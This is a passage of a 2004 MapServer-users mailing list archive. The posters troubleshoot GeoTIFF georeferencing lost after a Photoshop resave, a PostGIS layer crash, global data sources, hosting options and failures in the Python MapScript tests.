Bits/Sample: 8 > Sample Format: unsigned integer > Compression Scheme: None > Photometric Interpretation: RGB color > Software: "ERDAS IMAGINE" > Samples/Pixel: 3 > Rows/Strip: 8 > Planar Configuration: single image plane > > ... and this to say about the copy... > > # tiffinfo mod09a12003161_ugl_ll_8bit_mild.tif > mod09a12003161_ugl_ll_8bit_mild.tif: Warning, unknown field with tag > 700 (0x2bc) ignored. > mod09a12003161_ugl_ll_8bit_mild.tif: Warning, unknown field with tag > 34665 (0x8769) ignored. > TIFF Directory at offset 0x8 > Subfile Type: (0 = 0x0) > Image Width: 3480 Image Length: 1740 > Resolution: 72, 72 pixels/inch > Bits/Sample: 8 > Compression Scheme: None > Photometric Interpretation: RGB color > Date & Time: "2004:05:18 19:26:44" > Software: "Adobe Photoshop 7.0" > Samples/Pixel: 3 > Rows/Strip: 1740 > Planar Configuration: single image plane > Photoshop Data: , 9182 bytes > > What is it about the Photoshop tiff that MapServer or gdal doesn't > like? It is an 8-bit-per-channel image, just like the original. All > image-previews are disabled and ICC profile is not embedded (not that > any of that should matter). Contrary to some reports I have unearthed > while googling the mail archives, MapServer does not require an > indexed-color 8-bit-per-pixel tiff -- because this original is a > straight-up 24-bit RGB (3-channel x 8-bits-per-channel = 24-bits-per > pixel) image! (I imagine that MapServer must choke on > 16-bit-per-channel images, like the 16-bit greyscale of GLOBE files, or > the 48-bit RGB files used in high-end scanning and image-manipulation.) > > The problem can't possibly be something as straightforward as > byte-order, can it? > > -- Marvin Humphrey > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- "He's no geek.His tan's too good." -Benjamin Choate From jacob.delfos at maunsell.com Wed May 19 00:01:40 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Wed, 19 May 2004 17:01:40 +1000 Subject: [Mapserver-users] MapServer/gdal doesn't like Photoshop tiff Message-ID: I tried that before, using tfw and wld. Neither worked..... -----Original Message----- From: Pericles S. Nacionales [mailto:nacional at cbs.umn.edu] Sent: Wednesday, 19 May 2004 2:42 PM To: Marvin Humphrey Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] MapServer/gdal doesn't like Photoshop tiff This happens because photoshop doesn't support GeoTIFF images. When you open the GeoTIFF image in Photoshop and then save it again, you lose the georeferencing. What you can do to fix it is create what's called a world file. This is a small text file with the following lines (this is only valid for the example 1.5 image): 0.00473306 0.0 0.0 -0.00473306 -97.3743368 49.415919 If you copy these lines to a text editor and save the file as mod09a12003161_ugl_ll_8bit.tfw in the same directory where you have your tiff image, your map should then work. To explain the lines briefly: line 1 represents the X dimension of your pixel (in map units) I don't really know what lines 2 and 3 are (don't change it unless you know what you're doing) line 4 is the negative Y dimension of your pixel (it has to be negative) line 5 is the upper left X coordinate of the image line 6 is the upper left Y coordinate of the image You can get these info if you have the GDAL utility program "gdalinfo". Go ahead and use photoshop to edit the images but make sure to get the pixel dimensions and upper left coordinates of the image before doing so. Good luck! -Perry On Tue, 2004-05-18 at 23:00, Marvin Humphrey wrote: > Greetings, > > Problem: I load the mapserver tutorial at > http://terrasip.gis.umn.edu/projects/tutorial/ . I take the tiff > source used for example1-5.map, scp it off from the FreeBSD 4.9 box > running MapServer to a Mac OS X 10.3 box running Photoshop 7.0 and > resave it without editing. After scp'ing it back, MapServer doesn't > process it anymore -- vector data displays when I load example1-5, but > raster data is missing, and the display happens fast enough to suggest > that MapServer is simply rejecting the file rather than misinterpreting > its contents on a pixel-by-pixel basis. > (My eventual goal is to take other raster sources (specifically GLOBE > datafiles), turn them into tiffs and process them. This > save-with-no-changes operation is for troubleshooting.) > > I've been through debugging the conflict between the internal tiff > support and gdal. (How about making --with-tiff and --with-gdal an > illegal compile combination?). MapServer has been recompiled > --without-tiff. Here's my config: > > # ./mapserv40 -v > MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP > SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT > SUPPORTS=WFS_SERVER INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > gdal (version 1.2.0) has tiff support, since gtiff is in this list: > > # gdal-config --formats > gxf gtiff hfa aigrid aaigrid ceos ceos2 iso8211 xpm sdts raw dted mem > jdem envisat elas fit vrt usgsdem l1b nitf bmp pcidsk bsb gif jpeg png > > tiffinfo has this to say about the original image from the tutorial... > > # tiffinfo mod09a12003161_ugl_ll_8bit.tif > mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 33550 > (0x830e) ignored. > mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 33922 > (0x8482) ignored. > mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 34735 > (0x87af) ignored. > mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 34737 > (0x87b1) ignored. > TIFF Directory at offset 0x1152f68 > Image Width: 3480 Image Length: 1740 > Resolution: 1, 1 (unitless) > Bits/Sample: 8 > Sample Format: unsigned integer > Compression Scheme: None > Photometric Interpretation: RGB color > Software: "ERDAS IMAGINE" > Samples/Pixel: 3 > Rows/Strip: 8 > Planar Configuration: single image plane > > ... and this to say about the copy... > > # tiffinfo mod09a12003161_ugl_ll_8bit_mild.tif > mod09a12003161_ugl_ll_8bit_mild.tif: Warning, unknown field with tag > 700 (0x2bc) ignored. > mod09a12003161_ugl_ll_8bit_mild.tif: Warning, unknown field with tag > 34665 (0x8769) ignored. > TIFF Directory at offset 0x8 > Subfile Type: (0 = 0x0) > Image Width: 3480 Image Length: 1740 > Resolution: 72, 72 pixels/inch > Bits/Sample: 8 > Compression Scheme: None > Photometric Interpretation: RGB color > Date & Time: "2004:05:18 19:26:44" > Software: "Adobe Photoshop 7.0" > Samples/Pixel: 3 > Rows/Strip: 1740 > Planar Configuration: single image plane > Photoshop Data: , 9182 bytes > > What is it about the Photoshop tiff that MapServer or gdal doesn't > like? It is an 8-bit-per-channel image, just like the original. All > image-previews are disabled and ICC profile is not embedded (not that > any of that should matter). Contrary to some reports I have unearthed > while googling the mail archives, MapServer does not require an > indexed-color 8-bit-per-pixel tiff -- because this original is a > straight-up 24-bit RGB (3-channel x 8-bits-per-channel = 24-bits-per > pixel) image! (I imagine that MapServer must choke on > 16-bit-per-channel images, like the 16-bit greyscale of GLOBE files, or > the 48-bit RGB files used in high-end scanning and image-manipulation.) > > The problem can't possibly be something as straightforward as > byte-order, can it? > > -- Marvin Humphrey > > _______________________________________________ > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- "He's no geek.His tan's too good." -Benjamin Choate _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From knozi at gmx.at Wed May 19 00:17:28 2004 From: knozi at gmx.at (Gernot Katzlberger) Date: Wed, 19 May 2004 09:17:28 +0200 Subject: [Mapserver-users] postgis & mapserver Message-ID: <200405190719.i4J7JkFS017924@lists.gis.umn.edu> hi list, again I have some problems with mapserver and postgis: the first data-statement works and I get a map back: the_geom from (select gd_point_002.the_geom,gd_point_002.id,gd_point_002.oid,case when td_theme_temperature.m6 < 100 then 0 when td_theme_temperature.m6 >= 100 and td_theme_temperature.m6 < 150 then 1 when td_theme_temperature.m6 >= 150 then 2 end as myclass from gd_point_002,td_theme_temperature,td_dim_geom,td_dim_year where gd_point_002.id = td_dim_geom.id AND td_dim_geom.id = td_theme_temperature.geom AND td_dim_year.id = td_theme_temperature.year AND td_dim_year.id = 1990) as foo USING SRID=4326 with the next statement mapserver crashes (shp2img gives me a "segmentation fault"), the only difference is that I want to make 4 instead of 3 classes: the_geom from (select gd_point_002.the_geom,gd_point_002.id,gd_point_002.oid,case when td_theme_temperature.m6 < 100 then 0 when td_theme_temperature.m6 >= 100 and td_theme_temperature.m6 < 150 then 1 when td_theme_temperature.m6 >= 150 and td_theme_temperature.m6 < 200 then 2 when td_theme_temperature.m6 >= 200 then 3 end as myclass from gd_point_002,td_theme_temperature,td_dim_geom,td_dim_year where gd_point_002.id = td_dim_geom.id AND td_dim_geom.id = td_theme_temperature.geom AND td_dim_year.id = td_theme_temperature.year AND td_dim_year.id = 1990) as foo USING SRID=4326 Both sqls work in when I execute it in psql so I think it is a problem how Mapserver accesses the database. At the end I added the layer which crashes. i use mapserver_dev (13.2.2004) on suse linux. any hints? thanks, Gernot LAYER CLASSITEM "myclass" CONNECTION "user=xxx password=yyy dbname=iso host=localhost" CONNECTIONTYPE POSTGIS DATA "the_geom from (select gd_point_002.the_geom,gd_point_002.id,gd_point_002.oid,case when td_theme_temperature.m6 < 100 then 0 when td_theme_temperature.m6 >= 100 and td_theme_temperature.m6 < 150 then 1 when td_theme_temperature.m6 >= 150 and td_theme_temperature.m6 < 200 then 2 when td_theme_temperature.m6 >= 200 then 3 end as myclass from gd_point_002,td_theme_temperature,td_dim_geom,td_dim_year where gd_point_002.id = td_dim_geom.id AND td_dim_geom.id = td_theme_temperature.geom AND td_dim_year.id = td_theme_temperature.year AND td_dim_year.id = 1990) as foo USING SRID=4326" METADATA "DESCRIPTION" "NOAA Stations" "RESULT_FIELDS" "id" END NAME "gd_point_002" STATUS ON TYPE POINT UNITS METERS CLASS NAME "name1" EXPRESSION "0" STYLE COLOR 241 238 246 OUTLINECOLOR 0 0 0 SIZE 10 SYMBOL 1 END TEMPLATE "xxx" END CLASS NAME "name2" EXPRESSION "1" STYLE COLOR 208 209 230 OUTLINECOLOR 0 0 0 SIZE 10 SYMBOL 1 END TEMPLATE "xxx" END CLASS NAME "name3" EXPRESSION "2" STYLE COLOR 116 169 207 OUTLINECOLOR 0 0 0 SIZE 10 SYMBOL 1 END TEMPLATE "xxx" END CLASS NAME "name4" EXPRESSION "3" STYLE COLOR 4 90 141 OUTLINECOLOR 0 0 0 SIZE 10 SYMBOL 1 END TEMPLATE "xxx" END END From adams at terrestris.de Wed May 19 00:55:53 2004 From: adams at terrestris.de (Till Adams) Date: Wed, 19 May 2004 09:55:53 +0200 Subject: [Mapserver-users] MapServer/gdal doesn't like Photoshop tiff In-Reply-To: References: Message-ID: <40AB1309.6010004@terrestris.de> Dear Jacob, probably your Photoshop uses a kind of compression per default. I don't have Photoshop (I use Iview), but when you save your file, it is important, that you use "no compression" in the options. Maybe that helps, Till ;-) Delfos, Jacob schrieb: > I tried that before, using tfw and wld. Neither worked..... > > -----Original Message----- > From: Pericles S. Nacionales [mailto:nacional at cbs.umn.edu] > Sent: Wednesday, 19 May 2004 2:42 PM > To: Marvin Humphrey > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] MapServer/gdal doesn't like Photoshop tiff > > > This happens because photoshop doesn't support GeoTIFF images. When you > open the GeoTIFF image in Photoshop and then save it again, you lose the > georeferencing. What you can do to fix it is create what's called a world > file. This is a small text file with the following lines (this is only > valid for the example 1.5 image): 0.00473306 0.0 0.0 -0.00473306 -97.3743368 > 49.415919 > > If you copy these lines to a text editor and save the file as > mod09a12003161_ugl_ll_8bit.tfw in the same directory where you have your > tiff image, your map should then work. To explain the lines briefly: line 1 > represents the X dimension of your pixel (in map units) I don't really know > what lines 2 and 3 are (don't change it unless you know what you're doing) > line 4 is the negative Y dimension of your pixel (it has to be negative) > line 5 is the upper left X coordinate of the image line 6 is the upper left > Y coordinate of the image > > You can get these info if you have the GDAL utility program "gdalinfo". > Go ahead and use photoshop to edit the images but make sure to get the pixel > dimensions and upper left coordinates of the image before doing so. > > Good luck! > -Perry > > On Tue, 2004-05-18 at 23:00, Marvin Humphrey wrote: > >>Greetings, >> >>Problem: I load the mapserver tutorial at >>http://terrasip.gis.umn.edu/projects/tutorial/ . I take the tiff >>source used for example1-5.map, scp it off from the FreeBSD 4.9 box >>running MapServer to a Mac OS X 10.3 box running Photoshop 7.0 and >>resave it without editing. After scp'ing it back, MapServer doesn't >>process it anymore -- vector data displays when I load example1-5, but >>raster data is missing, and the display happens fast enough to suggest >>that MapServer is simply rejecting the file rather than misinterpreting >>its contents on a pixel-by-pixel basis. >>(My eventual goal is to take other raster sources (specifically GLOBE >>datafiles), turn them into tiffs and process them. This >>save-with-no-changes operation is for troubleshooting.) >> >>I've been through debugging the conflict between the internal tiff >>support and gdal. (How about making --with-tiff and --with-gdal an >>illegal compile combination?). MapServer has been recompiled >>--without-tiff. Here's my config: >> >># ./mapserv40 -v >>MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP >>SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT >>SUPPORTS=WFS_SERVER INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE >> >>gdal (version 1.2.0) has tiff support, since gtiff is in this list: >> >># gdal-config --formats >>gxf gtiff hfa aigrid aaigrid ceos ceos2 iso8211 xpm sdts raw dted mem >>jdem envisat elas fit vrt usgsdem l1b nitf bmp pcidsk bsb gif jpeg png >> >>tiffinfo has this to say about the original image from the tutorial... >> >># tiffinfo mod09a12003161_ugl_ll_8bit.tif >>mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 33550 >>(0x830e) ignored. >>mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 33922 >>(0x8482) ignored. >>mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 34735 >>(0x87af) ignored. >>mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 34737 >>(0x87b1) ignored. >>TIFF Directory at offset 0x1152f68 >> Image Width: 3480 Image Length: 1740 >> Resolution: 1, 1 (unitless) >> Bits/Sample: 8 >> Sample Format: unsigned integer >> Compression Scheme: None >> Photometric Interpretation: RGB color >> Software: "ERDAS IMAGINE" >> Samples/Pixel: 3 >> Rows/Strip: 8 >> Planar Configuration: single image plane >> >>... and this to say about the copy... >> >># tiffinfo mod09a12003161_ugl_ll_8bit_mild.tif >>mod09a12003161_ugl_ll_8bit_mild.tif: Warning, unknown field with tag >>700 (0x2bc) ignored. >>mod09a12003161_ugl_ll_8bit_mild.tif: Warning, unknown field with tag >>34665 (0x8769) ignored. >>TIFF Directory at offset 0x8 >> Subfile Type: (0 = 0x0) >> Image Width: 3480 Image Length: 1740 >> Resolution: 72, 72 pixels/inch >> Bits/Sample: 8 >> Compression Scheme: None >> Photometric Interpretation: RGB color >> Date & Time: "2004:05:18 19:26:44" >> Software: "Adobe Photoshop 7.0" >> Samples/Pixel: 3 >> Rows/Strip: 1740 >> Planar Configuration: single image plane >> Photoshop Data: , 9182 bytes >> >>What is it about the Photoshop tiff that MapServer or gdal doesn't >>like? It is an 8-bit-per-channel image, just like the original. All >>image-previews are disabled and ICC profile is not embedded (not that >>any of that should matter). Contrary to some reports I have unearthed >>while googling the mail archives, MapServer does not require an >>indexed-color 8-bit-per-pixel tiff -- because this original is a >>straight-up 24-bit RGB (3-channel x 8-bits-per-channel = 24-bits-per >>pixel) image! (I imagine that MapServer must choke on >>16-bit-per-channel images, like the 16-bit greyscale of GLOBE files, or >>the 48-bit RGB files used in high-end scanning and image-manipulation.) >> >> The problem can't possibly be something as straightforward as >>byte-order, can it? >> >>-- Marvin Humphrey >> >>_______________________________________________ >>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- NEU +++ NEU +++ NEU +++ NEU AveiN! ist Open Source Lizensiert unter der GNU GPL ----- Dipl. Geogr. Till Adams terrestris, Paulsen&Adams GbR Siemensstr. 8 * 53121 Bonn Tel.: 0228 962 899 52 * Fax.: 0228 962 899 57 info at terrestris.de * www.terrestris.de From Tomas.Brandalik at Sun.COM Wed May 19 01:08:20 2004 From: Tomas.Brandalik at Sun.COM (Tomas Brandalik) Date: Wed, 19 May 2004 10:08:20 +0200 Subject: [Mapserver-users] Hunting for global data In-Reply-To: References: Message-ID: <40AB15F4.8030504@sun.com> this is good place to start http://freegis.org/geo-data.en.html -Tomas Tyler Mitchell wrote: >I'm looking for any good global-scale datasets to show off MapServer's >capabilities. >The first thing I started looking for was a DEM or elevation image but >everything I'm finding is in some obscure format or another. Anyone got >gtopo in a more readily usable format and, ideally, seamless? >I'm also interested in a any other global datasets - countries, >hydrography, etc. that others are using. > >Any ideas? >Tyler >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From jacob.delfos at maunsell.com Wed May 19 01:27:27 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Wed, 19 May 2004 18:27:27 +1000 Subject: [Mapserver-users] Hunting for global data Message-ID: I recommend these sites: https://zulu.ssc.nasa.gov/mrsid/mrsid.pl (beautiful landsat 7 images for the whole world, 30m resolution) http://www.maproom.psu.edu/dcw/ (topo for the whole world) http://edcimswww.cr.usgs.gov/pub/imswelcome/ (all sorts of stuff for the whole world) http://www.ngdc.noaa.gov/seg/topo/globe.shtml (elevation in BIL format) Regards, Jacob -----Original Message----- From: Tomas Brandalik [mailto:Tomas.Brandalik at Sun.COM] Sent: Wednesday, 19 May 2004 4:08 PM To: Tyler Mitchell Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Hunting for global data this is good place to start http://freegis.org/geo-data.en.html -Tomas Tyler Mitchell wrote: >I'm looking for any good global-scale datasets to show off MapServer's >capabilities. >The first thing I started looking for was a DEM or elevation image but >everything I'm finding is in some obscure format or another. Anyone got >gtopo in a more readily usable format and, ideally, seamless? >I'm also interested in a any other global datasets - countries, >hydrography, etc. that others are using. > >Any ideas? >Tyler >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From phatsbbnlist at twcny.rr.com Wed May 19 02:00:04 2004 From: phatsbbnlist at twcny.rr.com (phatsbbnlist at twcny.rr.com) Date: Wed, 19 May 2004 05:00:04 -0400 Subject: [Mapserver-users] How can I get the query info programatically? Message-ID: <7c576f7ca8af.7ca8af7c576f@nyroc.rr.com> I haven't gotten this far yet, but I have thought about it. If you have the proper db drivers for your scripting tools, couldn't you save the parameters you insert into variables from the form and map choices (that drive the queries) into prepared sql statements to derive the info? e.g. your user clicks on a location, which the web server knows in image coordinates and converts to map coordinates after you pass them along. The map and scale should be known, the points can be calculated and a query of the dbf files should retrieve the data from individual layers that match. This sounds simplistic, but I don't see apriori why it should fail miserably. ----- Original Message ----- From: Stephen Woodbridge Date: Tuesday, May 18, 2004 8:31 pm Subject: Re: [Mapserver-users] How can I get the query info programatically? > Ethan, > > THere are ac bunch of Query examples at > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35 > for mapserver 3.5 but on the bottom is an example mapserver 4.2. > Look at > the quake.pl I think that does some query stuff. > > I also check the archives, because this has been asked before. I > thought > there was a straight forward query example, but I can't seem to > locate > the one I was thinking of. Once you get your example worked out > you > might want to post it to the wiki for others. > > -Steve > > Ethan Alpert wrote: > > > Any chance you can be more specific? I've been to the docs > several times > > looking for how to do this and I'm not finding what I'm looking for. > > > > I need to access information about items that were selected with a > > query. > > > > -e > > > > -----Original Message----- > > From: Stephen Woodbridge [woodbri at swoodbridge.com] > > Sent: Tuesday, May 18, 2004 5:39 PM > > To: Ethan Alpert > > Cc: mapserver-users at lists.gis.umn.edu > > Subject: Re: [Mapserver-users] How can I get the query info > > programatically? > > > > > > Yes, and there are examples. See > > > > http://mapserver.gis.umn.edu/doc.html > > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl > > > > -Steve > > > > Ethan Alpert wrote: > > > > > >>I'd like to get the information of the items selected in a > query. The > >>template approach isn't quite what I'm looking for. Is there a > way to > >>extract this info with perl (or php) mapscript? > >> > >>-e > >> > >>_______________________________________________ > >>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > >> > > > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From marvin at rectangular.com Wed May 19 02:15:30 2004 From: marvin at rectangular.com (Marvin Humphrey) Date: Wed, 19 May 2004 02:15:30 -0700 Subject: [Mapserver-users] MapServer/gdal doesn't like Photoshop tiff In-Reply-To: <1084948933.17892.44.camel@localhost> References: <17BC99BE-A949-11D8-930D-003065AC1682@rectangular.com> <1084948933.17892.44.camel@localhost> Message-ID: <13372B2B-A975-11D8-930D-003065AC1682@rectangular.com> Perry, Thank you, adding the properly formatted tfw file to the raster directory restored the image to the example. Even better, the information you supplied me enabled me to hack up a TFW file for the GLOBE data and successfully bring that into MapServer, based on header files downloaded from here... http://www.ngdc.noaa.gov/seg/topo/report/s11/s11B.html It struck me that the data in a TFW file would be inadequate for representing projected data accurately -- which pixel in an Albers Equal Area Conic projection do you use to define the x and y widths? Then I did a little more research and found that GeoTIFF contains a lot more than the simple TFW file. How much distortion am I likely to see when I use a TFW instead of a precisely specified projection system? Will there be any for the LatLong GLOBE data, or am I inventing a problem where none actually exists? I can't quite wrap my brain around the 3 dimensional visualization I need to figure it out. It looks like Lake Superior is in the right place more or less at this scale, but when I get down to the city level things could be off... -- Marvin Humphrey On May 18, 2004, at 11:42 PM, Pericles S. Nacionales wrote: > This happens because photoshop doesn't support GeoTIFF images. When > you > open the GeoTIFF image in Photoshop and then save it again, you lose > the > georeferencing. What you can do to fix it is create what's called a > world file. This is a small text file with the following lines (this > is > only valid for the example 1.5 image): > 0.00473306 > 0.0 > 0.0 > -0.00473306 > -97.3743368 > 49.415919 > > If you copy these lines to a text editor and save the file as > mod09a12003161_ugl_ll_8bit.tfw in the same directory where you have > your > tiff image, your map should then work. To explain the lines briefly: > line 1 represents the X dimension of your pixel (in map units) > I don't really know what lines 2 and 3 are (don't change it unless you > know what you're doing) > line 4 is the negative Y dimension of your pixel (it has to be > negative) > line 5 is the upper left X coordinate of the image > line 6 is the upper left Y coordinate of the image > > You can get these info if you have the GDAL utility program "gdalinfo". > Go ahead and use photoshop to edit the images but make sure to get the > pixel dimensions and upper left coordinates of the image before doing > so. > > Good luck! > -Perry From j.l.h.hartmann at uva.nl Wed May 19 02:35:02 2004 From: j.l.h.hartmann at uva.nl (Jan Hartmann) Date: Wed, 19 May 2004 11:35:02 +0200 Subject: [Mapserver-users] Hunting for global data In-Reply-To: References: Message-ID: <40AB2A46.1090000@uva.nl> Tyler Mitchell wrote: > I'm looking for any good global-scale datasets to show off MapServer's > capabilities. > The first thing I started looking for was a DEM or elevation image but > everything I'm finding is in some obscure format or another. Anyone got > gtopo in a more readily usable format and, ideally, seamless? > I'm also interested in a any other global datasets - countries, > hydrography, etc. that others are using. > Tyler, Look at http://maspserver.sara.nl , under World Maps. It has eight detailed world maps (elevation, satellite, land use) at 30 seconds resolution (1 km at the equator, 21600*10800 cells). They are from NASA, NOAA and others and are all in the public domain. I resampled and retiled them to GeoTIFF, as described in yesterday's posting (http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0405/msg00397.html). If you want to set up a demo site with explanations how to do this in MapServer, I'll be happy to assist. Jan From christian.fuerpass at dvm.at Wed May 19 02:34:26 2004 From: christian.fuerpass at dvm.at (Christian Fuerpass) Date: Wed, 19 May 2004 11:34:26 +0200 Subject: [Mapserver-users] Mapserver Hosting Wanted In-Reply-To: <40AA37A5.29642.1261CF@localhost> References: <40AA37A5.29642.1261CF@localhost> Message-ID: <40AB2A22.3050300@dvm.at> Aaron Kreider schrieb: >Are there any companies that offer cheap Mapserver hosting? > > My company is providing Mapserver hosting. You can inform you about details on our webpage www.dvm.at. The only problem is that at the moment our whole page is available only in German. But you can use the Google Translationg Tools for example to translate the important pages for your own. (The results are more or less OK). Mapserver Starter: http://www.dvm.at/shop/product_info.php?cPath=29&products_id=121 Mapserver Professional: http://www.dvm.at/shop/product_info.php?cPath=29&products_id=122 Best regards Christian Fuerpass -- --------------------------------------------- Mag. Christian Fuerpass DVM Consulting GmbH Jagdgasse 27 A-1100 Wien Tel.: ++43 (0)1 / 907 60 07-0 Fax.: ++43 (0)1 / 907 60 07-99 WWW: http://www.dvm.at Email: christian.fuerpass at dvm.at From jschuengel at intevation.de Wed May 19 03:56:10 2004 From: jschuengel at intevation.de (=?ISO-8859-1?Q?Jan_Sch=FCngel?=) Date: Wed, 19 May 2004 12:56:10 +0200 Subject: [Mapserver-users] Python MapScript Tests Problems ("segmentation fault") Message-ID: <40AB3D4A.8000209@intevation.de> Hi, i have severall problems by testing the Python MapScript. Installing and working is fine, but during the Tests i get a "segmentation fault" in Funktions: testAppendNewOutputFormat OutputFormatConstructor on the Line: new_format = mapscript.outputFormatObj('GDAL/GTiff', 'gtiff') i think that the problem is with gdal, but i don't find any solution. From jschuengel at intevation.de Wed May 19 04:00:03 2004 From: jschuengel at intevation.de (=?ISO-8859-1?Q?Jan_Sch=FCngel?=) Date: Wed, 19 May 2004 13:00:03 +0200 Subject: [Mapserver-users] MapScript Tests: Argument Error in testShapeCopy Message-ID: <40AB3E33.6010807@intevation.de> Hi during the Test i get the following error: ERROR: testShapeCopy (__main__.ShapePointTestCase) ---------------------------------------------------------------------- Traceback (most recent call last): File "tests/testMapScript.py", line 704, in testShapeCopy s = self.copyShape(self.shape) File "tests/testMapScript.py", line 682, in copyShape return shape.copy() File "build/lib.linux-i686-2.3/mapscript.py", line 211, in copy def copy(*args): return apply(_mapscript.shapeObj_copy,args) TypeError: shapeObj_copy() takes exactly 2 arguments (1 given) r: is the test wrong or whats the problem here ?? From phatsbbnlist at twcny.rr.com Wed May 19 04:33:03 2004 From: phatsbbnlist at twcny.rr.com (mapguy) Date: Wed, 19 May 2004 07:33:03 -0400 Subject: [Mapserver-users] Follow-up on epsg:26918 and UTM 18N GRS80 NAD83 Large raster files References: <40AB3E33.6010807@intevation.de> Message-ID: <40AB45EF.6060703@twcny.rr.com> I just posted a solution to a problem that the mapserv cgi I compiled wasn't serving tiled data, and I thought the epsg:26918 designation for PROJECTION was connected to the problem. It seems it was totally a relative path in the shapefile index. The projection reference works fine. From eduardo at consultoria.eti.br Wed May 19 04:34:44 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Wed, 19 May 2004 08:34:44 -0300 Subject: [Mapserver-users] Mapserver Hosting Wanted In-Reply-To: <40AA37A5.29642.1261CF@localhost> References: <40AA37A5.29642.1261CF@localhost> Message-ID: <40AB4654.6060400@consultoria.eti.br> Hi, DMSolutions offers it by MapSherpa services. and despite I found it very cheap four our project goals we decide to host it here in Brazil with a dedicated server service for R$1000/month( = +- US$300). We decide what to install in this server but we cannot touch it. We just tell what we want and they do the rest. We did this because our application uses PHPMapScript, and common cheap hosters does not offer the possibility to install a new PHP extension ( mapscript). Or , if your application does not need MapScript, only the CGI mapserver bins, you could upload the mapserver binaries ... This was fine to me in my first mapserver application ( http://www.consultoria.eti.br/clickbrasil ) best. -- Eduardo Patto Kanegae http://www.consultoria.eti.br ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## *************************************** ***Fim da Mensagem / End of Message *** *************************************** Aaron Kreider escreveu: >Are there any companies that offer cheap Mapserver hosting? > >I found GisHosting.net offering Mapserver hosting, but their website is down and it looks like >their effort may have never gotten off the ground. Does anyone know what happenned to >them? > >I just need a basic web hosting plan, that comes with Mapserver installed. > >Aaron >aaron at campusactivism.org > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > From mschulz at webgis.de Wed May 19 04:49:23 2004 From: mschulz at webgis.de (Michael Schulz) Date: Wed, 19 May 2004 13:49:23 +0200 Subject: [Mapserver-users] Python MapScript Tests Problems ("segmentation fault") In-Reply-To: <40AB3D4A.8000209@intevation.de> References: <40AB3D4A.8000209@intevation.de> Message-ID: <40AB49C3.70008@webgis.de> Hi Jan, which version of mapserver are you trying? The latest tests i ran with python mapscript are of version 4.2beta2 and had no segmentation faults, only: FAILED (failures=2, errors=1), ERROR: testShapeCopy This is with gd-2.0.21, gdal 1.2.0, python 2.1.3. Cheers, Michael Jan Sch?ngel schrieb: > Hi, > > i have severall problems by testing the Python MapScript. > Installing and working is fine, but during the Tests i get a > > "segmentation fault" > > in Funktions: > > testAppendNewOutputFormat > OutputFormatConstructor > > on the Line: > new_format = mapscript.outputFormatObj('GDAL/GTiff', 'gtiff') > > i think that the problem is with gdal, but i don't find any solution. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ----------------------------------------------------------- Michael Schulz in medias res Dipl.-Geologe Gesellschaft f?r Informationstechnologie mbH In den Weihermatten 66 79108 Freiburg 0761 55695-95 (Fax 96) mschulz at webgis.de www.webgis.de/www.zopecms.de From eduardo at consultoria.eti.br Wed May 19 05:14:03 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Wed, 19 May 2004 09:14:03 -0300 Subject: [Mapserver-users] MapScript x PHP 5 : what will happen? Message-ID: <40AB4F8B.8020107@consultoria.eti.br> Hi listers, PHP 5 is coming ... are there any plans of upgrade PHPMapScript for this new PHP version? Or it won't be necessary? Is MapServer C API compatible with the new PHP 5 architecture? thanks -- Eduardo Patto Kanegae http://www.consultoria.eti.br ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## *************************************** ***Fim da Mensagem / End of Message 